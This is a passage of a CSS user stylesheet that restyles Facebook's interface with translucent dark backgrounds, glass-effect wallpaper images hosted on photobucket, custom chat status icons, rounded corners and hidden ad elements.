h4,.address,#badges,.badge_holder,.aim_link,.user_status,.section_editor,.my_numbers,.photo_editor,.gift_rows,.sub_menu,.main-nav-tabs li a,.submenu_header,.new_gift,#profile_footer_actions,#status_bar,#summaryandpager,.userlist,#feedBody,#feedHeaderContainer,#feedContent,.feedBackground,.mixer_panel,.titles,.sliders,.slider_holder,.fbpage_title,.options,#linkeditorform,.sideNavItem .item,.typeahead_list_with_shadow,.module,.tc,.bc,.footer, .answer,.announcement,.basic_info_content,.slot,.boardkit_no_topics,.ranked_friend,.boardkit_subtitle,.filter-tabs,.level,.level_summary,.cause, .attachment_stage,.attachment_stage_area,.beneficiary_info,#info_tab,#feedwall_with_composer,.frni,.frni a,.flistedit,.fmp_delete,#feed_content_section_friend_lists li,.composer_tabs li:not(.selected),.menu_content li a,.view_on,.rounded-box,.ffriend,.tab_content,.wrapper_background,.full_container,.white_box,#friends li a,#inline_composer,.skin_body,.invite_tab_selected,.inside table,.matches_matches_box,.matches_content_box_subtitle,tr[fbcontext=\"41097bfeb58d\"],.dialog_body div div,.new_menu_off,.present_info_label,.import_status,.upload_guidelines,.tagger_border,.chat_info,.chat_conv_content,.chat_conv,.visibility_change,.pic_padding,.chat_notice,.chat_input_div,.wrapper,.toolbar_button,.toolbar_button_label,.pages_dashboard_panel,.no_pages,.divider,#filterview,#groupslist,.grouprow,.grouprow table,.board_topic,#big_search,#invitation_list,#invitation_wrapper,.emails_error, .outer_box,.inner_box,.days_remaining,.module,.submodule,.ntab,.ntab .tab_link,.grayheader,.inline_wall_post,.related_box,.home_box_wrapper,.two_column,.challenge_stats,.quiz_box, #fb_challenge,#fb_challenge_page,.challenge_leaderboard,.leaderboard_tile, .sidebar_upsell,.concerts_module,.container_box,#login_homepage,.user_hatch_bg,.pick_main,#homepage,.wall_post_body,.track,.HomeTabs_tab a,.minifeed,.alert_wrap,.logged_in_vertical_alert,.info_column,#public_listing_friends,#public_listing_pages,.gamertag_app,.gamerProfileBody,#photo_picker,.album_picker .page0 .row,.dialog_loading,.timeline,.partyrow,.partyrow table,#invite_list li,.group_info_section,#moveable_wide,.UIProfileBox_Content,.story_content,.settings_panel,.app_browser li,.photos_tab,.recent_notes,.side_note,.album_information,.results,.logged_out_register_vertical,.logged_out_register_wrapper,.deleted,.home_prefs_saved,.share_send,.header_divide,.thread_header,.message,.status_composer_inner,.fbpage_edit_header,.app_switcher_unselected,.status_placeholder,.UIComposer_TDTextArea, .UIHomeBox_Content,.UIHotStory,.home_welcome,.summary_custom,.source_list,.minor_section,.UIComposer_Attachment_TDTextArea,.info_diff span,.matches span,.menu_content,.UIcomposer_Dropdown_List,.UIComposer_Dropdown_Item,.feed_auto_update_settings,.container,.silver_footer,.friend_grid_col,.token > span,.tokenizer_input,.tokenizer_input *,#friends_multiselect,.flink_inner a:hover,#grouptypes,#startagroup p,.UICheckList,.FriendAddingTool_InnerMenu,.pagerpro li a:hover,#friend_filters,.fb_menu_count_holder,.hp_box,.view_all_link,.app_settings_tab,.tab_link,#flm_add_title,#flm_current_title,#flm_list_selector .selector,#friends_header,#friends_wrapper,.contacts_header,.contacts_wrapper,.row1,.show_advanced_controls,.FriendAddingTool_InnerMenu,.UISelectList,.UISelectList_Item,.UIIntentionalStory_CollapsedStories,.email_section,.section_header_bg,.rqbox,.ar_highlight,#buddy_list_panel,.panel_item,.friendlist_status,.options_actions a span,.chat_setting label,.toolbox,.chat_actions,.UIWell,.UIComposer_InputArea,.invite_panel,.apinote,.UIInterstitialBox_Container,.ical_section,.maps_brand,.divbox4,.lighteryellow,.fan_status_inactive,.UIBeeperCap,.footer_fallback_box,.footer_refine_search_company_school_box,.footer_refine_search_email_box,.UINestedFilterList_List,.UINestedFilterList_SubItem,.UINestedFilterList_Item_Link,.UINestedFilterList_Item_Link,.UINestedFilterList_SubItem_Link,.app_dir_app_summary,.app_dir_featured_app_summary,.app_dir_app_wide_summary,.profile_top_bar_container,.UIStream_Border,.question_container,.unselected_list label:nth-child(odd),.request_box,.showcase,.steps li,#fb_sell_profile div,.promotion,.UIOneOff_Container tabs,.whocan,.lock_r,.privacy_edit_link,.friend_list_container li:hover a,.email_field,.app_custom_content,#page,.thumb,.step_frame,.radioset,.radio_option,.page_option,.explanation_note,.card,.empty_albums,.right_column,.full_widget,.connect_top,.creative_preview,.creative_column,.UIAdmgrCreativePreview,.UIEMUASFrame,.banner_wrapper,.dashboard,.pages,#photocrop_instructions,.UIContentBox_GrayDarkTop,.UIContentBox_Gray,.UIContentBox,#FriendsPage_ListingViewContainer,.post_editor,.entry,.fb_dashboard,.spacey_footer,.thread,.post,.UIWashFrame_Content,table[bindpoint=\"thread_row\"],table[bindpoint=\"thread_row\"] tbody,.GBThreadMessageRow,.message_pane,.UIComposer_ButtonArea, .UIRoundedTransparentBox_Border,.feedbackView,.group,.streamPaginator,.nullStatePane,.inboxControls,.filterControls,.inboxView tr,.tabView,.tabView li a,.splitViewContent,.photoGrid,.albumGrid,.frame .img,.gridViewCrop,.gridView,.profileWall form,.story form,.formView,.inboxCompose,.LTokenizerToken,#icon_garden,#buddy_list_tab,#presence_notifications_tab,#editphotoalbum .photo,.UISuggestionList_SubContainer,.fan_action,.video_pane,.notify_option, .video_gallery,.video,.uiTooltip:not(.close):hover,.people_table,.people_table table,#main,#navlist li a.inactive,#rbar,.plays_bar,#fans,.updates_messages,.sent_updates_container,.subitem,#pagelet_navigation,.fbxWelcomeBox,.friends_online_sidebar,.uiTextHighlight,.tab_box,.bordered_list_item,.SettingsPage_PrivacySections,.profile-pagelet-section,.profileInfoSection,#pts_invite_section,.main_body,.masterControl,.masterControl .main,.linkbox,.uiTypeaheadView .search li,.language_form,#ads_privacy_examples,.fbPrivacyPage,.UIStandardFrame_SidebarAds,#sidebar_ads,#globalWrapper #content,.portlet,.pBody,.noarticletext,#catlinksm,.devsiteHeader,.devsiteFooter,.devsiteContent,.blockpost,.blockpost #topic,.blockpost .postleft,.blockpost .postfootleft,.fbRecommendation,.fbRecommendationWidgetContent,.add_comment,.connect_comment_widget .comment_content,.error,.even,.fbFeedbackPager,.uiComposerMessageBox,.facepileHolder,.notePermalinkMaincol,.profilePreviewHeader,.pageAttachment,.editExperienceForm,.tourSteplist,.tourSteplist ol,.uiStep,.uiStep:not(.uiStepSelected) .part, .uiStepSelected .part:not(.middle),.better_fb_cp,legend,.bfb_option_body div,.messaging_nux_header,.fbInsightsTable .odd td,.user.selected,.highlighter div b,.fbQuestionsBlingBox:hover,.friend_list_container,.jewelItemList li a:active,#bfb_tip_pagelet > div,.UIUpcoming_Item,.video_with_comments,.video_info,.fbFeedTickerStory,.fbFeedTicker.fixed_elem,.fbxPhoto .fbPhotoImageStage .stageContainer,#DeveloperAppBody > .content,.opengraph .preview,.coverNoImage,.fbTimelineScrubber,.fbTimelineAds,.fbProfilePlacesFilter,.fbFeedbackPost .UIImageBlock_Content,.permissionsViewEducation,.UIFaq_Container,#wizard,.captionArea,#bfb_options_content .option,.bfb_tab_selector,.UIMessageBoxExplanation,.uiStreamSubstories {background: rgba(20,20,20,.2) !important;}\n\n\n\n.uiSelector .uiSelectorButton,.UIRoundedBox_Corner,.quote,.em,.UIRoundedBox_TL,.UIRoundedBox_TR,.UIRoundedBox_BR,.UIRoundedBox_LS,.UIRoundedBox_BL,.profile_color_bar,.pagefooter_topborder,.menu_content,h3,#feed_content_section_friend_lists,ul,li[class=\"\"],.comment_box,.comment,#homepage_bookmarks_show_more,.profile_top_wash,.canvas_container,.composer_rounded,.composer_well,.composer_tab_arrow,.composer_tab_rounded,.tl,.tr,.module_right_line_block,.body,.module_bottom_line,.lock_b_bottom_line,#info_section_info_2530096808 .info dt,.pipe,.dh_new_media,.dh_new_media .br,.frn_inpad,#frn_lists,#frni_0,.frecent span,h3 span,.UIMediaHeader_TitleWash,.editor_panel .right,.UIMediaButton_Container tbody *,#userprofile,.profile_box,.date_divider span,.corner,.profile #content .UIOneOff_Container,.ff3,.photo #nonfooter #page_height,.home #nonfooter #page_height,.home .UIFullPage_Container,.main-nav,.generic_dialog,#fb_multi_friend_selector_wrapper,#fb_multi_friend_selector,.tab span,.tabs,.pixelated,.disabled,.title_header .basic_header,#profile_tabs li,#tab_content,.inside td,.match_link span,tr[fbcontext=\"41097bfeb58d\"] table,.accent,#tags h2,.read_updates,.user_input,.home_corner,.home_side,.br,.share_and_hide,.recruit_action,.share_buttons,.input_wrapper,.status_field,.UIFilterList_ItemRight,.link_btn_style span,.UICheckList_Label,#flm_list_selector .Tabset_selected .arrow,#flm_list_selector .selector .arrow .sel_link,.friendlist_status .title a,.online_status_container,.list_drop_zone_inner,.good_username,.WelcomePage_Container,.UIComposer_ShareButton *,.UISelectList_Label,.UIComposer_InputShadow .UIComposer_TextArea,.UIMediaHeader_TitleWrapper,.boxtopcool_hg,.boxtopcool_trg,.boxtopcool_hd,.boxtopcool_trd,.boxtopcool_bd,.boxtopcool_bg,.boxtopcool_b,#confirm_button,.title_text,#advanced_friends_1,.fb_menu_item_link,.fb_menu_item_link small,.white_hover,.GBTabset_Pill span,.UINestedFilterList_ItemRight,.GBSearchBox_Input input,.inline_edit,.feedbackView .comment th div,.searchroot,.composerView th div,.reply th div,.LTokenizer,.Mentions_Input,form.comment div,.ufi_section,.BubbleCount,.BubbleCount_Right,.UIStory,.object_browser_pager_more,.friendlist_name,.friendlist_name a,.switch,#tagger,.tagger_border,.uiTooltip,#reorder_fl_alert,.UIBeeper_Full,#navSearch,#navAccount,#navAccountPic,#navAccountName,#navAccountInfo,#navAccountLink,#mailBoxItems,#pagelet_chat_home h4,.buddy_row,.home_no_stories,#xpageNav li .navSubmenu,.uiListItem:not(.ufiItem),.uiBubbleCount,.number,.fbChatBuddylistPanel,.wash,.settings_screenshot,.privacyPlan .uiListItem:hover,.no_border,.auxiliary .highlight,.emu_comments_box_nub,.numberContainer,.uiBlingBox,.uiBlingBox:hover span,.callout_buttons,.uiWashLayoutEmptyGradientWash,.inputContainer,.editNoteWrapperInput,.fbTextEditorToolbar,.logoutButton input,#contentArea .uiHeader + .uiBoxGray,.uiTokenizer,#bfb_tabs,.profilePictureNuxHighlight,.profile-picture,#ci_module_list,.textBoxContainer,#date_form .uiButton,.insightsDateRange,.MessagingReadHeader,.groupProfileHeaderWash,.questionSectionLabel,.metaInfoContainer,.uiStepList ol,.friend_list,.fbFeedbackMentions,.bb .fbNubFlyoutHeader,.bb .fbNubFlyoutFooter,.fbNubFlyoutInner .fbNubFlyoutFooter,.gradientTop,.gradientBottom,.helpPage,.fbEigenpollTypeahead .plus,.uiSearchInput,.opengraph,#developerAppDetailsContent,.timelineLayout #contentCol,.attachmentLifeEvents,.fbProfilePlacesFilterBar,.uiStreamHeader,.uiStreamHeaderChronologicalForm,.inner .text,.pageNotifPopup,.uiButtonGroup,.navSubmenuPageLink,.fbTimelineTimePeriod,.bornUnit,.mleFooter,#bfb_filter_add_row,#bfb_options .option .no_hover,.fbTimelinePhotosSeparator h4 span,.withsubsections,.showMore,.event_profile_information tr:hover,.nux_highlight_nub,.uiSideNav .uiCloseButton,.uiSideNav .uiCloseButton input,.fb_content,.uiComposerAttachment .selected .attachmentName,.fbHubsTokenizer,.coverEmptyWrap,.uiStreamHeaderText,.pagesTimelineButtonPagelet,.fbNubFlyoutBody,#pageNav .tinyman:hover,#navHome:hover,.fbRemindersThickline,.uiStreamEdgeStoryLine hr,.uiInfoTable tbody tr:hover,.fbTimelineUFI,#contentArea,.leftPageHead,.rightPageHead,.anchorUnit,#pageNav .topNavLink a:focus,.timeline_page_inbox_bar,.uiStreamEdgeStoryLineTx,.pluginRecommendationsBarButton,.pluginRecommendationsBarTop table, .uiToken, .ogAggregationPanelText, .UFIRow {background: transparent !important;}\n\n\n\n.UIObject_SelectedItem,.sidebar_item_header,.announcement_title,#pagefooter,.selected:not(.key-messages):not(.key-events):not(.key-media):not(.key-ff):not(.page):not(.group):not(.user):not(.app),.date_divider_label,.profile_action,.blurb ,.tabs_more_menu,.more a span,.selected h2,.column h2,.ffriends,.make_new_list_button_table tr,.title_header,.inbox_menu,.side_column,.section_header h3 span,.media_header,#album_container,.note_dialog,.dialog,.has_app,.UIMediaButton_Container,.dialog_title,.dialog_content,#mobile_notes_announcement,.see_all,#profileActions,.fbpage_group_title,.UIProfileBox_SubHeader,#profileFooter,.share_header,#share_button_dialog,.flag_nav_item_selected,.new_user_guide_content h2,#safety_page h4,.section_banner,.box_head,#header_bar,.content_sidebar h3,.content_header,#events h3,#blog h3,.footer_border_bottom,.firstHeading,#footer,.recent_news h3,.wrapper div h2,.UIProfileBox_Header,.box_header,.bdaycal_month_section,#feedTitle,.pop_content,#linkeditor,.UIMarketingBox_Box,.utility_menu a,.typeahead_list,.typeahead_suggestions,.typeahead_suggestion,.fb_dashboard_menu,.green_promotion,.module h2,.current_path,.boardkit_title,.current,.see_all2,.plain,.share_post,.add-link,li.selected,.active_list a,#photoactions a:not(#rotaterightlink):not(#rotateleftlink),.UIPhotoTagList_Header,.dropdown_menu,.menu_content,.menu_content li a:hover,.menu_content li:hover,#edit_profilepicture,.menu_content div a:hover,.contact_email_pending,.req_preview_guts,.inputbutton,.inputsubmit,.activation_actions_box,.wall_content,.matches_content_box_title,.new_menu_selected,#editnotes_content,#file_browser,.chat_window_wrapper,.chat_window,.chat_header,.hover,.dc_tabs a,.post_header,.header_cell,#error,.filters,.pages_dashboard_panel h2,.srch_landing h2,.bottom_tray,.next_action,.pl-divider-container,.sponsored_story,.header_current,.discover_concerts_box,.header,.sidebar_upsell_header,.activity_title h2,.wall_post_title,#maps_options_menu,.menu_link,.gamerProfileTitleBar,.feed_rooster ,.emails_success,.friendTable table:hover,.board_topic:hover,.fan_table table:hover,#partylist .partyrow:hover,.latest_video:hover,.wallpost:hover,.profileTable tr:hover,.friend_grid_col:hover,.bookmarks_list li:hover,.requests_list li:hover,.birthday_list li:hover,.tabs li,.fb_song:hover,.share_list .item_container:hover,.written a:hover,#photos_box .album:hover,.people .row .person:hover,.group_list .group:hover,.confirm_boxes .confirm:hover,.posted .share_item_wide .share_media:hover,.note:hover,.editapps_list .app_row:hover,.my_networks .blocks .block:hover,.mock_h4,#notification_options tr:hover,.notifications_settings li:hover,.mobile_account_main h2,.language h4,.products_listing .product:hover,.info .item .item_content:hover,.info_section:hover,.recent_notes p:hover,.side_note:hover,.suggestion,.story:hover,.post_data:hover,.album_row:hover,.track:hover,#pageheader,.message:hover,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),.UITabGrid_Link:hover,.UIActionButton,.UIActionButton_Link,.confirm_button,.silver_dashboard,span.button,.col:hover,#photo_tag_selector,#pts_userlist,.flink_dropdown,.flink_inner,.grouprow:hover,#findagroup h4,#startagroup h4,.actionspro a:hover,.UIActionMenu_Menu,.UICheckList_Label:hover,.make_new_list_button_table,.contextual_dialog_content,#flm_list_selector .selector:hover,.show_advanced_controls:hover,.UISelectList_check_Checked,.section_header,.section_header_bg,#buddy_list_panel_settings_flyout,.options_actions,.chat_setting,.flyout,.flyout .UISelectList,.flyout .new_list,#tagging_instructions,.FriendsPage_MenuContainer,.UIActionMenu,.UIObjectListing:hover,.UIStory_Hide .UIActionMenu_Wrap,.UIBeeper,.branch_notice,.async_saving,.UIActionMenu .UIActionMenu_Wrap:hover,.attachment_link a:hover,.UITitledBox_Top,.UIBeep,.Beeps,#friends li a:hover,.apinote h2,.UIActionButton_Text,.rsvp_option:hover,.onglettrhi,.ongletghi,.ongletdhi,.ongletg,.onglettr,.ongletd,.confirm_block, .unfollow_message,.UINestedFilterList_SubItem_Selected .UINestedFilterList_SubItem_Link,.UINestedFilterList_SubItem_Link:hover,.UINestedFilterList_Item_Link:hover,.UINestedFilterList_Selected .UINestedFilterList_Item_Link,.app_dir_app_summary:hover,.app_dir_featured_app_summary:hover,.app_dir_app_wide_summary:hover,.UIStory:hover,.UIPortrait_TALL:hover,.UIActionMenu_Menu div,.UIButton_Blue,.UIButton_Gray,.quiz_cell:hover,.UIFilterList > .UIFilterList_Title,.message_rows tr:hover,.ntab:hover,.thumb_selected,.thumb:hover,.hovered a,.pandemic_bar,.promote_page,.promote_page a,.create_button a,.nux_highlight,.UIActionMenu_Wrap,.share_button_browser div,.silver_create_button,.painted_button,.flyer_button,table[bindpoint=\"thread_row\"] tbody tr:hover,.GBThreadMessageRow:hover,#header,.button:not(.close):not(.uiSelectorButton):not(.videoicon):not(.toggle),h4,button:not(.as_link),#navigation a:hover,.settingsPaneIcon:hover,a.current,.inboxView tr:hover,.tabView li a:hover,.friendListView li:hover,.LTypeaheadResults,.LTypeaheadResults a:hover,.dialog-title, .UISuggestionList_SubContainer:hover,.typeahead_message,.progress_bar_inner,.video:hover,.advanced_controls_link,.plays_val,.lightblue_box,.FriendAddingTool_InnerMenu .UISelectList,.gray_box,.uiButton:not(.uiSelectorButton),.fbPrivacyWidget .uiSelectorButton:not(.lockButton),.uiButtonSuppressed,#navAccount li:not(#navAccountInfo),.jewelHeader,.seeMore,#mailBoxItems li,#pageFooter,.uiSideNav .key-nf:hover,.key-messages .item:hover,.key-messages ul li:hover,.key-events ul li:hover,.key-media ul li:hover,.key-ff ul li:hover,.key-apps:hover,.key-games:hover,.uiSideNav .sideNavItem:not(.open) .item:hover,.fbChatOrderedList .item:hover a,.uiHeader,.uiListItem:not(.mall_divider):hover,.uiSideNav li.selected > a,.ego_unit:hover,.results,.bordered_list_item:hover,.fbConnectWidgetFooter,#viewas_header,.fbNubFlyoutTitlebar,.info_text,.stage,.masterControl .selected a,.masterControl .controls .item a:hover,.uiTypeaheadView .search,.gigaboxx_thread_hidden_messages,.uiMenu,.uiMenuInner,.itemAnchor,.gigaboxx_thread_branch_message,.uiSideNavCount,.uiBoxYellow,.loggedout_menubar_container,.pbm .uiComposer,.megaphone_box,.uiCenteredMorePager,.fbEditProfileViewExperience:hover,.uiStepSelected .middle,.GM_options_header,.bfb_tab_selected, #MessagingShelfContent,.connect_widget_like_button,.uiSideNav .open,.fbActivity:hover,.fbQuestionsPollResultsBar,.insightsDateRangeCustom,.fbInsightsTable thead th,.mall_divider,.attachmentContent .fbTabGridItem:hover,.jewelItemNew,#MessagingThreadlist .unread,.type_selected,.bfb_sticky_note,.UIUpcoming_Item:hover,.progress_bar_outer,.fbChatBuddyListDropdown .uiButton,.UIConnectControlsListSelector .uiButton,.instructions,.uiComposerMetaContainer,.uiMetaComposerMessageBoxShelf,#feed_nux,#tickerNuxStoryDiv,.fbFeedTickerStory:hover,.fbCurrentStory:hover,.uiStream .uiStreamHeaderTall,.fbChatSidebarMessage,.fbPhotoSnowboxInfo,.devsitePage .menu,.devsitePage .menu .content,#devsiteHomeBody .wikiPanel > div,.toolbarContentContainer,.fbTimelineUnitActor,#fbTimelineHeadline,.fbTimelineNavigation,.fbTimelineFeedbackActions,.timelineReportHeader,.fbTimelineCapsule .timelineUnitContainer:hover,.timelineReportContainer:hover,.fbTimelineComposerAttachments .uiListItem:hover span a,.timelinePublishedToolbar,.timelineRecentActivityLabel,.fbTimelineMoreButton,.overlayTitle,.friendsBoxHeader,.escapeHatchHeader,.tickerStoryAllowClick,.appInvite:hover,.fbRemindersStory:hover,.lifeEventAddPhoto a:hover,.insights-header,.ufb-dataTable-header-container,.ufb-button,.older-posts-content,.mleButton:hover,.btnLink,.fill,.cropMessage,.adminPanelList li:hover a,.tlPageRecentOverlayStream,.addListPageMegaphone,.searchListsBox,.ogStaticPagerHeader,.dialogTitle,#rogerSidenavCallout,.fbTimelineAggregatedMapUnitSeeAll,.shareRedesignContainer,.ogSingleStoryText,.ogSliderAnimPagerPrevWrapper,.ogSliderAnimPagerNextWrapper,.shareRedesignText,.pluginRecommendationsBarTop,.timelineRecentActivityStory:hover, .ogAggregationPanelUFI\n\n{ background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Wallpaper/GlassShiny.png\") fixed repeat !important;}\n\n\n\n.hovercard .stage,.profileChip,.GM_options_wrapper_inner,.MessagingReadHeader .uiHeader,#MessagingShelf,#navAccount ul,.uiTypeaheadView,#blueBar,.uiFacepileItem .uiTooltipWrap,.fbJewelFlyout,.jewelItemList li,.notification:not(.jewelItemNew),.fbNubButton,.fbChatTourCallout .body,.uiContextualDialogContent,.fbTimelineStickyHeader .back,.timelineExpandLabel:hover,.pageNotifFooter a,.fbSettingsListLink:hover,.uiOverlayPageContent,#bfb_option_list,.fbPhotoSnowlift .rhc,.ufb-tip-title,.balloon-content,.tlPageRecentOverlayTitle,.uiDialog,.uiDialogForm,.permissionsLockText, .uiMenuXBorder,.-cx-PRIVATE-uiDialog__content,.-cx-PRIVATE-uiDialog__title, ._k5\n\n{ background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Wallpaper/GlassShiny.png\") fixed repeat, rgba(10,10,10,.6) !important; }\n\n\n\n.unread .badge,.fbDockChatBuddyListNub .icon,.sx_7173a9,.selectedCheckable .checkmark {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/blueball15.png\") no-repeat right center!important;}\n\n\n\ntable[class=\" \"] .badge:hover,table[class=\"\"] .badge:hover,.offline .fbDockChatBuddyListNub .icon,.fbChatSidebar.offline .fbChatSidebarMessage .img {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/grayball15.png\") no-repeat right center!important;}\n\n\n\n.fbChatSidebar.offline .fbChatSidebarMessage .img {height: 16px !important;}\n\n\n\n.offline .fbDockChatBuddyListNub .icon,.fbDockChatBuddyListNub .icon,.sx_7173a9 {margin-top: 0 !important;height: 15px !important;}\n\n\n\na.idle,.buddyRow.idle .buddyBlock,.fbChatTab.idle .tab_availability,.fbChatTab.disabled .tab_availability,.chatIdle .chatStatus,.idle .fbChatUserTab .wrap,.chatIdle .uiTooltipText,.markunread,.bb .fbDockChatTab.user.idle .titlebarTextWrapper,.fbChatOrderedList .item:not(.active) .status {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/grayball10paddedright.png\") no-repeat left center !important;}\n\n\n\n.fbChatOrderedList .item .status {width: 10px !important;}\n\n\n\n.headerTinymanName {max-width: 320px !important; white-space: nowrap !important; overflow: hidden !important;}\n\n\n\n.uiTooltipText {padding-left: 14px !important;border: none !important;}\n\n \n\n.fbNubButton,.bb .fbNubFlyoutTitlebar,.bb .fbNub .noTitlebar,.fbDockChatTab,#fbDockChatBuddylistNub .fbNubFlyout,.fbDockChatTabFlyout,.titlebar {border-radius: 8px 8px 0 0!important;}\n\n\n\n.uiSideNav .open {padding-right: 0 !important;}\n\n.uiSideNav .open,.uiSideNav .open > *,#home_stream > *,.bb .rNubContainer .fbNub,.fbChatTab {margin-left: 0 !important;}\n\n.uiSideNav .open ul > * {margin-left: -20px !important;}\n\n.uiSideNav .open .subitem > .rfloat {margin-right: 20px !important;}\n\n\n\n.timelineUnitContainer .timelineAudienceSelector .uiSelectorButton {padding: 1px !important; margin: 4px 0 0 4px !important;}\n\n.timelineUnitContainer .audienceSelector .uiButtonNoText .customimg {margin: 2px !important;}\n\n.timelineUnitContainer .composerAudienceSelector .customimg {opacity: 1 !important; background-position: 0 1px !important; padding: 0 !important;}\n\n\n\n.fbNub.user:not(.disabled) .wrap {padding-left: 15px !important;}\n\n.fbNubFlyoutTitlebar .titlebarText {padding-left: 12px !important;}\n\n\n\na.friend:not(.idle),.buddyRow:not(.idle) .buddyBlock,.fbChatTab:not(.idle):not(.disabled) .tab_availability,.chatOnline .chatStatus,.markread,.user:not(.idle):not(.disabled) .fbChatUserTab .wrap,.chatOnline .uiTooltipText,.bb .fbDockChatTab.user:not(.idle):not(.disabled) .titlebarTextWrapper,.fbChatOrderedList .item.active .status,.active .titlebarTextWrapper,.uiMenu .checked .itemAnchor {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/blueball10paddedright.png\") no-repeat !important;}\n\n\n\na.friend:not(.idle),.buddyRow:not(.idle) .buddyBlock,.fbChatTab:not(.idle):not(.disabled) .tab_availability,.chatOnline .chatStatus,.markread,a.idle,.buddyRow.idle .buddyBlock {background-position: right center !important;}\n\n\n\n.user:not(.idle):not(.disabled) .fbChatUserTab .wrap,.chatOnline .uiTooltipText,.bb .fbDockChatTab.user:not(.idle):not(.disabled) .titlebarTextWrapper,.fbChatOrderedList .item.active .status,.active .titlebarTextWrapper,.user .fbChatUserTab .wrap {background-position: left center !important;}\n\n\n\n.uiMenu .checked .itemAnchor {background-position: 5px center !important;}\n\n\n\n.markunread,.markread {background-position: 0 center !important;}\n\n\n\n.chatIdle .chatStatus,.chatOnline .chatStatus {width: 10px !important;height: 10px !important;background-position: 0 0 !important;}\n\n\n\n#fbRequestsJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Friends-Gray.png\") no-repeat center center !important;}\n\n\n\n#fbRequestsJewel:hover .jewelButton,#fbRequestsJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Friends.png\") no-repeat center center !important;}\n\n\n\n#fbMessagesJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Mail_Icon-gray.png\") no-repeat center center !important;}\n\n\n\n#fbMessagesJewel:hover .jewelButton,#fbMessagesJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Mail_Icon.png\") no-repeat center center !important;}\n\n\n\n#fbNotificationsJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Earth-gray.png\") no-repeat center center !important;}\n\n\n\n#fbNotificationsJewel:hover .jewelButton,#fbNotificationsJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Earth.png\") no-repeat center center !important;}\n\n\n\n.topBorder,.bottomBorder {background: #000 !important;}\n\n\n\n.pl-item,.ical,.pop_content {background-color: #333 !important;}\n\n.pl-alt {background-color: #222 !important;}\n\n\n\n.friend:hover,.friend:not(.idle):hover,.fbTimelineRibbon {background-color: rgba(10,10,10,.6) !important;}\n\n\n\n.maps_arrow,#sidebar_ads,.available .x_to_hide,.left_line,.line_mask,.chat_input_border,.connect_widget_button_count_nub,\n\n.uiStreamPrivacyContainer .uiTooltip .img,.UIObjectListing_PicRounded,.UIRoundedImage_CornersSprite,.UITabGrid_Link:hover .UITabGrid_LinkCorner_TL,.UITabGrid_Link:hover .UITabGrid_LinkCorner_TR,.UITabGrid_Link:hover .UITabGrid_LinkCorner_BL,.UITabGrid_Link:hover .UITabGrid_LinkCorner_BR,.UILinkButton_R,.pagesAboutDivider {visibility:hidden !important;}\n\n\n\n.nub,#contentCurve,#pagelet_netego_ads,img.plus,.highlighter,.uiToolbarDivider,.bfb_sticky_note_arrow_border,.bfb_sticky_note_arrow,#ConfirmBannerOuterContainer,.uiStreamHeaderBorder,.topBorder,.bottomBorder,.middleLink:after,.sideNavItem .uiCloseButton,.mask,.topSectionBottomBorder {display: none !important;}\n\n\n\n.fbChatBuddyListTypeahead {display: block !important;}\n\n\n\n.chat_input {width: 195px !important;}\n\n\n\n.fb_song_play_btn,.friend,.wrap,.uiTypeahead,.share,.raised,.donated,.recruited,.srch_landing,.story_editor,.jewelCount span, .menuPulldown {background-color: transparent !important;}\n\n\n\n.extended_link div {background-color: #fff !important}\n\n\n\n#fbTimelineHeadline,.coverImage {width: 851px !important; margin-left: 1px !important;}\n\n\n\n*:not([style*=border]) {border-color: #000 !important;}\n\n\n\n#feed_content_section_applications *,#feed_header_section_friend_lists *,.summary,.summary *,.UIMediaHeader_TitleWash,.UIMediaHeader_TitleWrapper,.feedbackView .comment th div,.searchroot,.composerView th div,.reply th div,.borderTagBox,.innerTagBox,.friend,.fbNubFlyoutTitlebar,.fbNubButton {border-color: transparent !important;}\n\n\n\n.innerTagBox:hover {border-color: rgba(10,10,10,.45) !important;box-shadow: 0 0 5px 4px #fa9 !important;}\n\n\n\n.status_placeholder,.UIComposer_TDTextArea,.UIComposer_TextAreaShadow,.UIContentBox ,.box_column,form.comment div,.comment_box div,#tagger,.UIMediaItem_Wrapper,#chat_tab_bar *,.UIActionMenu_ButtonOuter input[type=\"button\"],.inner_button,.UIActionButton_Link,.divider,.UIComposer_Attachment_TDTextArea,#confirm_button,#global_maps_link,.advanced_selector,#presence_ui *,.fbFooterBorder,.wash,.main_body,.settings_screenshot,.uiBlingBox,.inputContainer *,.uiMentionsInput,.uiTypeahead,.editNoteWrapperInput,.date_divider,.chatStatus,#headNav,.jewelCount span,.fbFeedbackMentions .wrap,.uiSearchInput span,.uiSearchInput,.fbChatSidebarMessage,.devsitePage .body > .content,.timelineUnitContainer,.fbTimelineTopSection,.coverBorder,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,#navAccount.openToggler,#contentArea,.uiStreamStoryAttachmentOnly,.ogSliderAnimPagerPrev .content,.ogSliderAnimPagerNext .content,.ogSliderAnimPagerPrev .wrapper,.ogSliderAnimPagerNext .wrapper,.ogSingleStoryContent,.ogAggregationAnimSubstorySlideSingle,.uiCloseButton, .ogAggregationPanelUFI, .ogAggregationPanelText {border: none !important;}\n\n\n\n.uiStream .uiStreamHeaderTall {border-top: none !important; border-bottom: none !important;}\n\n\n\n.attachment_link 